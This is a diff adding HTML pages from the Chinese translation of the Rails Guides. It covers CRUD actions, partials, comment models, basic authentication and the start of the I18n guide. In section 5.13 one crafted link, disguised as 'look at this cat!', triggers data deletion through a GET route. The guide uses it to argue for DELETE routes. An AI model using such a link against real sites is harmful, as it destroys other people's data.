+        <%= pluralize(@article.errors.count, "error") %> prohibited
+        this article from being saved:
+      </h2>
+      <ul>
+        <% @article.errors.full_messages.each do |msg| %>
+          <li><%= msg %></li>
+        <% end %>
+      </ul>
+    </div>
+  <% end %>
+
+  <p>
+    <%= f.label :title %><br>
+    <%= f.text_field :title %>
+  </p>
+
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+
+  <p>
+    <%= f.submit %>
+  </p>
+
+<% end %>
+
+<%= link_to 'Back', articles_path %>
+
+
+
+

上面的代码把表单指向了 update 动作,这个动作稍后我们再来定义。

传入 @article 对象后,会自动为表单创建 URL,用于提交编辑后的文章。

method: :patch 选项告诉 Rails 使用 PATCH 方法提交表单。根据 REST 协议,PATCH 方法是更新资源时使用的 HTTP 方法。

form_for 辅助方法的第一个参数可以是对象,例如 @articleform_for 辅助方法会用这个对象的字段来填充表单。如果传入和实例变量(@article)同名的符号(:article),也会自动产生相同效果,上面的代码使用的就是符号。关于 form_for 辅助方法参数的更多介绍,请参阅 form_for 的文档

接下来在 app/controllers/articles_controller.rb 文件中创建 update 动作,把这个动作放在 create 动作和 private 方法之间:

+
+def create
+  @article = Article.new(article_params)
+
+  if @article.save
+    redirect_to @article
+  else
+    render 'new'
+  end
+end
+
+def update
+  @article = Article.find(params[:id])
+
+  if @article.update(article_params)
+    redirect_to @article
+  else
+    render 'edit'
+  end
+end
+
+private
+  def article_params
+    params.require(:article).permit(:title, :text)
+  end
+
+
+
+

update 动作用于更新已有记录,它接受一个散列作为参数,散列中包含想要更新的属性。和之前一样,如果更新文章时发生错误,就需要把表单再次显示给用户。

上面的代码重用了之前为 create 动作定义的 article_params 方法。

不用把所有属性都传递给 update 方法。例如,调用 @article.update(title: 'A new title') 时,Rails 只更新 title 属性而不修改其他属性。

最后,我们想在文章列表中显示指向 edit 动作的链接。打开 app/views/articles/index.html.erb 文件,在 Show 链接后面添加 Edit 链接:

+
+<table>
+  <tr>
+    <th>Title</th>
+    <th>Text</th>
+    <th colspan="2"></th>
+  </tr>
+
+  <% @articles.each do |article| %>
+    <tr>
+      <td><%= article.title %></td>
+      <td><%= article.text %></td>
+      <td><%= link_to 'Show', article_path(article) %></td>
+      <td><%= link_to 'Edit', edit_article_path(article) %></td>
+    </tr>
+  <% end %>
+</table>
+
+
+
+

接着在 app/views/articles/show.html.erb 模板中添加 Edit 链接,这样文章页面也有 Edit 链接了。把这个链接添加到模板底部:

+
+...
+
+<%= link_to 'Edit', edit_article_path(@article) %> |
+<%= link_to 'Back', articles_path %>
+
+
+
+

下面是文章列表现在的样子:

文章列表

5.12 使用局部视图去掉视图中的重复代码

编辑文章页面和新建文章页面看起来很相似,实际上这两个页面用于显示表单的代码是相同的。现在我们要用局部视图来去掉这些重复代码。按照约定,局部视图的文件名以下划线开头。

关于局部视图的更多介绍,请参阅Rails 布局和视图渲染

新建 app/views/articles/_form.html.erb 文件,添加下面的代码:

+
+<%= form_for @article do |f| %>
+
+  <% if @article.errors.any? %>
+    <div id="error_explanation">
+      <h2>
+        <%= pluralize(@article.errors.count, "error") %> prohibited
+        this article from being saved:
+      </h2>
+      <ul>
+        <% @article.errors.full_messages.each do |msg| %>
+          <li><%= msg %></li>
+        <% end %>
+      </ul>
+    </div>
+  <% end %>
+
+  <p>
+    <%= f.label :title %><br>
+    <%= f.text_field :title %>
+  </p>
+
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+
+  <p>
+    <%= f.submit %>
+  </p>
+
+<% end %>
+
+
+
+

除了第一行 form_for 的用法变了之外,其他代码都和之前一样。之所以能用这个更短、更简单的 form_for 声明来代替新建文章页面和编辑文章页面的两个表单,是因为 @article 是一个资源,对应于一套 REST 式路由,Rails 能够推断出应该使用哪个地址和方法。关于 form_for 用法的更多介绍,请参阅“面向资源的风格”。

现在更新 app/views/articles/new.html.erb 视图,以使用新建的局部视图。把文件内容替换为下面的代码:

+
+<h1>New article</h1>
+
+<%= render 'form' %>
+
+<%= link_to 'Back', articles_path %>
+
+
+
+

然后按照同样的方法修改 app/views/articles/edit.html.erb 视图:

+
+<h1>Edit article</h1>
+
+<%= render 'form' %>
+
+<%= link_to 'Back', articles_path %>
+
+
+
+

5.13 删除文章

现在该介绍 CRUD 中的“D”操作了,也就是从数据库删除文章。按照 REST 架构的约定,在 bin/rails routes 命令的输出结果中删除文章的路由是:

+
+DELETE /articles/:id(.:format)      articles#destroy
+
+
+
+

删除资源的路由应该使用 delete 路由方法。如果在删除资源时仍然使用 get 路由,就可能给那些设计恶意地址的人提供可乘之机:

+
+<a href='http://example.com/articles/1/destroy'>look at this cat!</a>
+
+
+
+

我们用 delete 方法来删除资源,对应的路由会映射到 app/controllers/articles_controller.rb 文件中的 destroy 动作,稍后我们要创建这个动作。destroy 动作是控制器中的最后一个 CRUD 动作,和其他公共 CRUD 动作一样,这个动作应该放在 privateprotected 方法之前。打开 app/controllers/articles_controller.rb 文件,添加下面的代码:

+
+def destroy
+  @article = Article.find(params[:id])
+  @article.destroy
+
+  redirect_to articles_path
+end
+
+
+
+

app/controllers/articles_controller.rb 文件中,ArticlesController 的完整代码应该像下面这样:

+
+class ArticlesController < ApplicationController
+  def index
+    @articles = Article.all
+  end
+
+  def show
+    @article = Article.find(params[:id])
+  end
+
+  def new
+    @article = Article.new
+  end
+
+  def edit
+    @article = Article.find(params[:id])
+  end
+
+  def create
+    @article = Article.new(article_params)
+
+    if @article.save
+      redirect_to @article
+    else
+      render 'new'
+    end
+  end
+
+  def update
+    @article = Article.find(params[:id])
+
+    if @article.update(article_params)
+      redirect_to @article
+    else
+      render 'edit'
+    end
+  end
+
+  def destroy
+    @article = Article.find(params[:id])
+    @article.destroy
+
+    redirect_to articles_path
+  end
+
+  private
+    def article_params
+      params.require(:article).permit(:title, :text)
+    end
+end
+
+
+
+

在 Active Record 对象上调用 destroy 方法,就可从数据库中删除它们。注意,我们不需要为 destroy 动作添加视图,因为完成操作后它会重定向到 index 动作。

最后,在 index 动作的模板(app/views/articles/index.html.erb)中加上“Destroy”链接,这样就大功告成了:

+
+<h1>Listing Articles</h1>
+<%= link_to 'New article', new_article_path %>
+<table>
+  <tr>
+    <th>Title</th>
+    <th>Text</th>
+    <th colspan="3"></th>
+  </tr>
+
+  <% @articles.each do |article| %>
+    <tr>
+      <td><%= article.title %></td>
+      <td><%= article.text %></td>
+      <td><%= link_to 'Show', article_path(article) %></td>
+      <td><%= link_to 'Edit', edit_article_path(article) %></td>
+      <td><%= link_to 'Destroy', article_path(article),
+              method: :delete,
+              data: { confirm: 'Are you sure?' } %></td>
+    </tr>
+  <% end %>
+</table>
+
+
+
+

在上面的代码中,link_to 辅助方法生成“Destroy”链接的用法有点不同,其中第二个参数是具名路由(named route),还有一些选项作为其他参数。method: :deletedata: { confirm: 'Are you sure?' } 选项用于设置链接的 HTML5 属性,这样点击链接后 Rails 会先向用户显示一个确认对话框,然后用 delete 方法发起请求。这些操作是通过 JavaScript 脚本 rails-ujs 实现的,这个脚本在生成应用骨架时已经被自动包含在了应用的布局中(app/views/layouts/application.html.erb)。如果没有这个脚本,确认对话框就无法显示。

确认对话框

关于非侵入式 JavaScript 的更多介绍,请参阅在 Rails 中使用 JavaScript

恭喜你!现在你已经可以创建、显示、列出、更新和删除文章了!

通常 Rails 鼓励用资源对象来代替手动声明路由。关于路由的更多介绍,请参阅Rails 路由全解

6 添加第二个模型

现在是为应用添加第二个模型的时候了。这个模型用于处理文章评论。

6.1 生成模型

接下来将要使用的生成器,和之前用于创建 Article 模型的一样。这次我们要创建 Comment 模型,用于保存文章评论。在终端中执行下面的命令:

+
+$ bin/rails generate model Comment commenter:string body:text article:references
+
+
+
+

上面的命令会生成 4 个文件:

+ + + + + + + + + + + + + + + + + + + + + + + + + +
文件用途
db/migrate/20140120201010_create_comments.rb用于在数据库中创建 comments 表的迁移文件(你的文件名会包含不同的时间戳)
app/models/comment.rb +Comment 模型文件
test/models/comment_test.rb +Comment 模型的测试文件
test/fixtures/comments.yml用于测试的示例评论
+

首先看一下 app/models/comment.rb 文件:

+
+class Comment < ApplicationRecord
+  belongs_to :article
+end
+
+
+
+

可以看到,Comment 模型文件的内容和之前的 Article 模型差不多,仅仅多了一行 belongs_to :article,这行代码用于建立 Active Record 关联。下一节会简单介绍关联。

在上面的 Bash 命令中使用的 :references 关键字是一种特殊的模型数据类型,用于在数据表中新建字段。这个字段以提供的模型名加上 _id 后缀作为字段名,保存整数值。之后通过分析 db/schema.rb 文件可以更好地理解这些内容。

除了模型文件,Rails 还生成了迁移文件,用于创建对应的数据表:

+
+class CreateComments < ActiveRecord::Migration[5.0]
+  def change
+    create_table :comments do |t|
+      t.string :commenter
+      t.text :body
+      t.references :article, foreign_key: true
+
+      t.timestamps
+    end
+  end
+end
+
+
+
+

t.references 这行代码创建 article_id 整数字段,为这个字段建立索引,并建立指向 articles 表的 id 字段的外键约束。下面运行这个迁移:

+
+$ bin/rails db:migrate
+
+
+
+

Rails 很智能,只会运行针对当前数据库还没有运行过的迁移,运行结果像下面这样:

+
+==  CreateComments: migrating =================================================
+-- create_table(:comments)
+   -> 0.0115s
+==  CreateComments: migrated (0.0119s) ========================================
+
+
+
+

6.2 模型关联

Active Record 关联让我们可以轻易地声明两个模型之间的关系。对于评论和文章,我们可以像下面这样声明:

+
    +
  • 每一条评论都属于某一篇文章
  • +
  • 一篇文章可以有多条评论
  • +
+

实际上,这种表达方式和 Rails 用于声明模型关联的句法非常接近。前文我们已经看过 Comment 模型中用于声明模型关联的代码,这行代码用于声明每一条评论都属于某一篇文章:

+
+class Comment < ApplicationRecord
+  belongs_to :article
+end
+
+
+
+

现在修改 app/models/article.rb 文件来添加模型关联的另一端:

+
+class Article < ApplicationRecord
+  has_many :comments
+  validates :title, presence: true,
+                    length: { minimum: 5 }
+end
+
+
+
+

这两行声明能够启用一些自动行为。例如,如果 @article 实例变量表示一篇文章,就可以使用 @article.comments 以数组形式取回这篇文章的所有评论。

关于模型关联的更多介绍,请参阅Active Record 关联

6.3 为评论添加路由

welcome 控制器一样,在添加路由之后 Rails 才知道在哪个地址上查看评论。再次打开 config/routes.rb 文件,像下面这样进行修改:

+
+resources :articles do
+  resources :comments
+end
+
+
+
+

上面的代码在 articles 资源中创建 comments 资源,这种方式被称为嵌套资源。这是表明文章和评论之间层级关系的另一种方式。

关于路由的更多介绍,请参阅Rails 路由全解

6.4 生成控制器

有了模型,下面应该创建对应的控制器了。还是使用前面用过的生成器:

+
+$ bin/rails generate controller Comments
+
+
+
+

上面的命令会创建 5 个文件和一个空文件夹:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
文件/文件夹用途
app/controllers/comments_controller.rbComments 控制器文件
app/views/comments/控制器的视图保存在这里
test/controllers/comments_controller_test.rb控制器的测试文件
app/helpers/comments_helper.rb视图辅助方法文件
app/assets/javascripts/comments.coffee控制器的 CoffeeScript 文件
app/assets/stylesheets/comments.scss控制器的样式表文件
+

在博客中,读者看完文章后可以直接发表评论,并且马上可以看到这些评论是否在页面上显示出来了。我们的博客采取同样的设计。这里 CommentsController 需要提供创建评论和删除垃圾评论的方法。

首先修改显示文章的模板(app/views/articles/show.html.erb),添加发表评论的功能:

+
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+<h2>Add a comment:</h2>
+<%= form_for([@article, @article.comments.build]) do |f| %>
+  <p>
+    <%= f.label :commenter %><br>
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br>
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+<%= link_to 'Edit', edit_article_path(@article) %> |
+<%= link_to 'Back', articles_path %>
+
+
+
+

上面的代码在显示文章的页面中添加了用于新建评论的表单,通过调用 CommentsControllercreate 动作来发表评论。这里 form_for 辅助方法以数组为参数,会创建嵌套路由,例如 /articles/1/comments

接下来在 app/controllers/comments_controller.rb 文件中添加 create 动作:

+
+class CommentsController < ApplicationController
+  def create
+    @article = Article.find(params[:article_id])
+    @comment = @article.comments.create(comment_params)
+    redirect_to article_path(@article)
+  end
+
+  private
+    def comment_params
+      params.require(:comment).permit(:commenter, :body)
+    end
+end
+
+
+
+

上面的代码比 Articles 控制器的代码复杂得多,这是嵌套带来的副作用。对于每一个发表评论的请求,都必须记录这条评论属于哪篇文章,因此需要在 Article 模型上调用 find 方法来获取文章对象。

此外,上面的代码还利用了关联特有的方法,在 @article.comments 上调用 create 方法来创建和保存评论,同时自动把评论和对应的文章关联起来。

添加评论后,我们使用 article_path(@article) 辅助方法把用户带回原来的文章页面。如前文所述,这里调用了 ArticlesControllershow 动作来渲染 show.html.erb 模板,因此需要修改 app/views/articles/show.html.erb 文件来显示评论:

+
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+<h2>Comments</h2>
+<% @article.comments.each do |comment| %>
+  <p>
+    <strong>Commenter:</strong>
+    <%= comment.commenter %>
+  </p>
+
+  <p>
+    <strong>Comment:</strong>
+    <%= comment.body %>
+  </p>
+<% end %>
+
+<h2>Add a comment:</h2>
+<%= form_for([@article, @article.comments.build]) do |f| %>
+  <p>
+    <%= f.label :commenter %><br>
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br>
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+<%= link_to 'Edit', edit_article_path(@article) %> |
+<%= link_to 'Back', articles_path %>
+
+
+
+

现在可以在我们的博客中为文章添加评论了,评论添加后就会显示在正确的位置上。

带有评论的文章

7 重构

现在博客的文章和评论都已经正常工作,打开 app/views/articles/show.html.erb 文件,会看到文件代码变得又长又不美观。因此下面我们要用局部视图来重构代码。

7.1 渲染局部视图集合

首先创建评论的局部视图,把显示文章评论的代码抽出来。创建 app/views/comments/_comment.html.erb 文件,添加下面的代码:

+
+<p>
+  <strong>Commenter:</strong>
+  <%= comment.commenter %>
+</p>
+
+<p>
+  <strong>Comment:</strong>
+  <%= comment.body %>
+</p>
+
+
+
+

然后像下面这样修改 app/views/articles/show.html.erb 文件:

+
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+<h2>Comments</h2>
+<%= render @article.comments %>
+
+<h2>Add a comment:</h2>
+<%= form_for([@article, @article.comments.build]) do |f| %>
+  <p>
+    <%= f.label :commenter %><br>
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br>
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+<%= link_to 'Edit', edit_article_path(@article) %> |
+<%= link_to 'Back', articles_path %>
+
+
+
+

这样对于 @article.comments 集合中的每条评论,都会渲染 app/views/comments/_comment.html.erb 文件中的局部视图。render 方法会遍历 @article.comments 集合,把每条评论赋值给局部视图中的同名局部变量,也就是这里的 comment 变量。

7.2 渲染局部视图表单

我们把添加评论的代码也移到局部视图中。创建 app/views/comments/_form.html.erb 文件,添加下面的代码:

+
+<%= form_for([@article, @article.comments.build]) do |f| %>
+  <p>
+    <%= f.label :commenter %><br>
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br>
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+
+
+

然后像下面这样修改 app/views/articles/show.html.erb 文件:

+
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+<h2>Comments</h2>
+<%= render @article.comments %>
+
+<h2>Add a comment:</h2>
+<%= render 'comments/form' %>
+
+<%= link_to 'Edit', edit_article_path(@article) %> |
+<%= link_to 'Back', articles_path %>
+
+
+
+

上面的代码中第二个 render 方法的参数就是我们刚刚定义的 comments/form 局部视图。Rails 很智能,能够发现字符串中的斜线,并意识到我们想渲染 app/views/comments 文件夹中的 _form.html.erb 文件。

@article 是实例变量,因此在所有局部视图中都可以使用。

8 删除评论

博客还有一个重要功能是删除垃圾评论。为了实现这个功能,我们需要在视图中添加一个链接,并在 CommentsController 中添加 destroy 动作。

首先在 app/views/comments/_comment.html.erb 局部视图中添加删除评论的链接:

+
+<p>
+  <strong>Commenter:</strong>
+  <%= comment.commenter %>
+</p>
+
+<p>
+  <strong>Comment:</strong>
+  <%= comment.body %>
+</p>
+
+<p>
+  <%= link_to 'Destroy Comment', [comment.article, comment],
+               method: :delete,
+               data: { confirm: 'Are you sure?' } %>
+</p>
+
+
+
+

点击“Destroy Comment”链接后,会向 CommentsController 发起 DELETE /articles/:article_id/comments/:id 请求,这个请求将用于删除指定评论。下面在控制器(app/controllers/comments_controller.rb)中添加 destroy 动作:

+
+class CommentsController < ApplicationController
+  def create
+    @article = Article.find(params[:article_id])
+    @comment = @article.comments.create(comment_params)
+    redirect_to article_path(@article)
+  end
+
+  def destroy
+    @article = Article.find(params[:article_id])
+    @comment = @article.comments.find(params[:id])
+    @comment.destroy
+    redirect_to article_path(@article)
+  end
+
+  private
+    def comment_params
+      params.require(:comment).permit(:commenter, :body)
+    end
+end
+
+
+
+

destroy 动作首先找到指定文章,然后在 @article.comments 集合中找到指定评论,接着从数据库删除这条评论,最后重定向到显示文章的页面。

8.1 删除关联对象

如果要删除一篇文章,文章的相关评论也需要删除,否则这些评论还会占用数据库空间。在 Rails 中可以使用关联的 dependent 选项来完成这一工作。像下面这样修改 app/models/article.rb 文件中的 Article 模型:

+
+class Article < ApplicationRecord
+  has_many :comments, dependent: :destroy
+  validates :title, presence: true,
+                    length: { minimum: 5 }
+end
+
+
+
+

9 安全

9.1 基本身份验证

现在如果我们把博客放在网上,任何人都能够添加、修改、删除文章或删除评论。

Rails 提供了一个非常简单的 HTTP 身份验证系统,可以很好地解决这个问题。

我们需要一种方法来禁止未认证用户访问 ArticlesController 的动作。这里我们可以使用 Rails 的 http_basic_authenticate_with 方法,通过这个方法的认证后才能访问所请求的动作。

要使用这个身份验证系统,可以在 app/controllers/articles_controller 文件中的 ArticlesController 的顶部进行指定。这里除了 indexshow 动作,其他动作都要通过身份验证才能访问,为此要像下面这样添加代码:

+
+class ArticlesController < ApplicationController
+
+  http_basic_authenticate_with name: "dhh", password: "secret", except: [:index, :show]
+
+  def index
+    @articles = Article.all
+  end
+
+  # 为了行文简洁,省略以下内容
+
+
+
+

同时只有通过身份验证的用户才能删除评论,为此要在 CommentsControllerapp/controllers/comments_controller.rb)中像下面这样添加代码:

+
+class CommentsController < ApplicationController
+
+  http_basic_authenticate_with name: "dhh", password: "secret", only: :destroy
+
+  def create
+    @article = Article.find(params[:article_id])
+    # ...
+  end
+
+  # 为了行文简洁,省略以下内容
+
+
+
+

现在如果我们试着新建文章,就会看到 HTTP 基本身份验证对话框:

HTTP 基本身份验证对话框

此外,还可以在 Rails 中使用其他身份验证方法。在众多选择中,DeviseAuthlogic 是两个流行的 Rails 身份验证扩展。

9.2 其他安全注意事项

安全,尤其是 Web 应用的安全,是一个广泛和值得深入研究的领域。关于 Rails 应用安全的更多介绍,请参阅Ruby on Rails 安全指南

10 接下来做什么?

至此,我们已经完成了第一个 Rails 应用,请在此基础上尽情修改、试验。

记住你不需要独自完成一切,在安装和运行 Rails 时如果需要帮助,请随时使用下面的资源:

+ +

11 配置问题

在 Rails 中,储存外部数据最好都使用 UTF-8 编码。虽然 Ruby 库和 Rails 通常都能将使用其他编码的外部数据转换为 UTF-8 编码,但并非总是能可靠地工作,所以最好还是确保所有的外部数据都使用 UTF-8 编码。

编码出错的最常见症状是在浏览器中出现带有问号的黑色菱形块,另一个常见症状是本该出现“ü”字符的地方出现了“ü”字符。Rails 内部采取了许多步骤来解决常见的可以自动检测和纠正的编码问题。尽管如此,如果不使用 UTF-8 编码来储存外部数据,偶尔还是会出现无法自动检测和纠正的编码问题。

下面是非 UTF-8 编码数据的两种常见来源:

+
    +
  • 文本编辑器:大多数文本编辑器(例如 TextMate)默认使用 UTF-8 编码保存文件。如果你的文本编辑器未使用 UTF-8 编码,就可能导致在模板中输入的特殊字符(例如 é)在浏览器中显示为带有问号的黑色菱形块。这个问题也会出现在 i18n 翻译文件中。大多数未默认使用 UTF-8 编码的文本编辑器(例如 Dreamweaver 的某些版本)提供了将默认编码修改为 UTF-8 的方法,别忘了进行修改。
  • +
  • 数据库:默认情况下,Rails 会把从数据库中取出的数据转换成 UTF-8 格式。尽管如此,如果数据库内部不使用 UTF-8 编码,就有可能无法保存用户输入的所有字符。例如,如果数据库内部使用 Latin-1 编码,而用户输入了俄语、希伯来语或日语字符,那么在把数据保存到数据库时就会造成数据永久丢失。因此,只要可能,就请在数据库内部使用 UTF-8 编码。
  • +
+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/i18n.html b/i18n.html new file mode 100644 index 0000000..85ba403 --- /dev/null +++ b/i18n.html @@ -0,0 +1,1293 @@ + + + + + + + +Rails 国际化 API — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Rails 国际化 API

Rails(Rails 2.2 及以上版本)自带的 Ruby I18n(internationalization 的简写)gem,提供了易用、可扩展的框架,用于把应用翻译成英语之外的语言,或为应用提供多语言支持。

“国际化”(internationalization)过程通常是指,把所有字符串及本地化相关信息(例如日期或货币格式)从应用中抽取出来。“本地化”(localization)过程通常是指,翻译这些字符串并提供相关信息的本地格式。

因此,在国际化 Rails 应用的过程中,我们需要:

+
    +
  • 确保 Rails 提供了 I18n 支持;
  • +
  • 把区域设置字典(locale dictionary)的位置告诉 Rails;
  • +
  • 告诉 Rails 如何设置、保存和切换区域(locale)。
  • +
+

在本地化 Rails 应用的过程中,我们可能需要完成下面三项工作:

+
    +
  • 替换或补充 Rails 的默认区域设置,例如日期和时间格式、月份名称、Active Record 模型名等;
  • +
  • 从应用中抽取字符串,并放入字典,例如视图中的闪现信息(flash message)、静态文本等;
  • +
  • 把生成的字典储存在某个地方。
  • +
+

本文介绍 Rails I18n API,并提供国际化 Rails 应用的入门教程。

读完本文后,您将学到:

+
    +
  • Rails 中 I18n 的工作原理;
  • +
  • 在 REST 式应用中正确使用 I18n 的几种方式;
  • +
  • 如何使用 I18n 翻译 Active Record 错误或 Action Mailer 电子邮件主题;
  • +
  • 用于进一步翻译应用的其他工具。
  • +
+ + + + +
+
+ +
+
+
+

Ruby I18n 框架提供了 Rails 应用国际化/本地化所需的全部必要支持。我们还可以使用各种 gem 来添加附加功能或特性。更多介绍请参阅 rails-18n gem

1 Rails 中 I18n 的工作原理

国际化是一个复杂的问题。自然语言在很多方面(例如复数规则)有所不同,要想一次性提供解决所有问题的工具很难。因此,Rails I18n API 专注于:

+
    +
  • 支持英语及类似语言
  • +
  • 易于定制和扩展,以支持其他语言
  • +
+

作为这个解决方案的一部分,Rails 框架中的每个静态字符串(例如,Active Record 数据验证信息、时间和日期格式)都已国际化。Rails 应用的本地化意味着把这些静态字符串翻译为所需语言。

1.1 I18n 库的总体架构

因此,Ruby I18n gem 分为两部分:

+
    +
  • I18n 框架的公开 API——包含公开方法的 Ruby 模块,定义 I18n 库的工作方式
  • +
  • 实现这些方法的默认后端(称为简单后端)
  • +
+

作为用户,我们应该始终只访问 I18n 模块的公开方法,但了解后端的功能也很有帮助。

我们可以把默认的简单后端替换为其他功能更强的后端,这时翻译数据可能会储存在关系数据库、GetText 字典或类似解决方案中。更多介绍请参阅 使用不同的后端

1.2 I18n 公开 API

I18n API 中最重要的两个方法是:

+
+translate # 查找文本翻译
+localize  # 把日期和时间对象转换为本地格式(本地化)
+
+
+
+

这两个方法的别名分别为 #t#l,用法如下:

+
+I18n.t 'store.title'
+I18n.l Time.now
+
+
+
+

对于下列属性,I18n API 还提供了属性读值方法和设值方法:

+
+load_path                 # 自定义翻译文件的路径
+locale                    # 获取或设置当前区域
+default_locale            # 获取或设置默认区域
+available_locales         # 应用可用的区域设置白名单
+enforce_available_locales # 强制使用白名单(true 或 false)
+exception_handler         # 使用其他异常处理程序
+backend                   # 使用其他后端
+
+
+
+

现在,我们已经掌握了 Rails I18n API 的基本用法,从下一节开始,我们将从头开始国际化一个简单的 Rails 应用。

2 Rails 应用的国际化设置

本节介绍为 Rails 应用提供 I18n 支持的几个步骤。

2.1 配置 I18n 模块

根据“多约定,少配置”原则,Rails I18n 库提供了默认翻译字符串。如果需要不同的翻译字符串,可以直接覆盖默认值。

Rails 会把 config/locales 文件夹中的 .rb.yml 文件自动添加到翻译文件加载路径中。

这个文件夹中的 en.yml 区域设置文件包含了一个翻译字符串示例:

+
+en:
+  hello: "Hello world"
+
+
+
+

上面的代码表示,在 :en 区域设置中,键 hello 会映射到 Hello world 字符串上。在 Rails 中,字符串都以这种方式进行国际化,例如,Active Model 的数据验证信息位于 activemodel/lib/active_model/locale/en.yml 文件中,时间和日期格式位于 activesupport/lib/active_support/locale/en.yml 文件中。我们可以使用 YAML 或标准 Ruby 散列,把翻译信息储存在默认的简单后端中。

I18n 库使用英语作为默认的区域设置,例如,如果未设置为其他区域,那就使用 :en 区域来查找翻译。

经过讨论,I18n 库在选取区域设置的键时最终采取了务实的方式,也就是仅包含语言部分,例如 :en:pl,而不是传统上使用的语言和区域两部分,例如 :en-US:en-GB。很多国际化的应用都是这样做的,例如把 :cs:th:es 分别用于捷克语、泰语和西班牙语。尽管如此,在同一语系中也可能存在重要的区域差异,例如,:en-US 使用 $ 作为货币符号,而 :en-GB 使用 £ 作为货币符号。因此,如果需要,我们也可以使用传统方式,例如,在 :en-GB 字典中提供完整的 "English - United Kingdom" 区域。像 Globalize3 这样的 gem 可以实现这一功能。

Rails 会自动加载翻译文件加载路径(I18n.load_path),这是一个保存有翻译文件路径的数组。通过配置翻译文件加载路径,我们可以自定义翻译文件的目录结构和文件命名规则。

I18n 库的后端采用了延迟加载技术,相关翻译信息仅在第一次查找时加载。我们可以根据需要,随时替换默认后端。

默认的区域设置和翻译的加载路径可以在 config/application.rb 文件中配置,如下所示:

+
+config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
+config.i18n.default_locale = :de
+
+
+
+

在查找翻译文件之前,必须先指定翻译文件加载路径。应该通过初始化脚本修改默认区域设置,而不是 config/application.rb 文件:

+
+# config/initializers/locale.rb
+
+# 指定 I18n 库搜索翻译文件的路径
+I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')]
+
+# 应用可用的区域设置白名单
+I18n.available_locales = [:en, :pt]
+
+# 修改默认区域设置(默认是 :en)
+I18n.default_locale = :pt
+
+
+
+

2.2 跨请求管理区域设置

除非显式设置了 I18n.locale,默认区域设置将会应用于所有翻译文件。

本地化应用有时需要支持多区域设置。此时,需要在每个请求之前设置区域,这样在请求的整个生命周期中,都会根据指定区域,对所有字符串进行翻译。

我们可以在 ApplicationController 中使用 before_action 方法设置区域:

+
+before_action :set_locale
+
+def set_locale
+  I18n.locale = params[:locale] || I18n.default_locale
+end
+
+
+
+

上面的例子说明了如何使用 URL 查询参数来设置区域。例如,对于 http://example.com/books?locale=pt 会使用葡萄牙语进行本地化,对于 http://localhost:3000?locale=de 会使用德语进行本地化。

接下来介绍区域设置的几种不同方式。

2.2.1 根据域名设置区域

第一种方式是,根据应用的域名设置区域。例如,通过 www.example.com 加载英语(或默认)区域设置,通过 www.example.es 加载西班牙语区域设置。也就是根据顶级域名设置区域。这种方式有下列优点:

+
    +
  • 区域设置成为 URL 地址显而易见的一部分
  • +
  • 用户可以直观地判断出页面所使用的语言
  • +
  • 在 Rails 中非常容易实现
  • +
  • 搜索引擎偏爱这种把不同语言内容放在不同域名上的做法
  • +
+

ApplicationController 中,我们可以进行如下配置:

+
+before_action :set_locale
+
+def set_locale
+  I18n.locale = extract_locale_from_tld || I18n.default_locale
+end
+
+# 从顶级域名中获取区域设置,如果获取失败会返回 nil
+# 需要在 /etc/hosts 文件中添加如下设置:
+#   127.0.0.1 application.com
+#   127.0.0.1 application.it
+#   127.0.0.1 application.pl
+def extract_locale_from_tld
+  parsed_locale = request.host.split('.').last
+  I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil
+end
+
+
+
+

我们还可以通过类似方式,根据子域名设置区域:

+
+# 从子域名中获取区域设置(例如 http://it.application.local:3000)
+# 需要在 /etc/hosts 文件中添加如下设置:
+#   127.0.0.1 gr.application.local
+def extract_locale_from_subdomain
+  parsed_locale = request.subdomains.first
+  I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil
+end
+
+
+
+

要想为应用添加区域设置切换菜单,可以使用如下代码:

+
+link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['PATH_INFO']}")
+
+
+
+

其中 APP_CONFIG[:deutsch_website_url] 的值类似 http://www.application.de

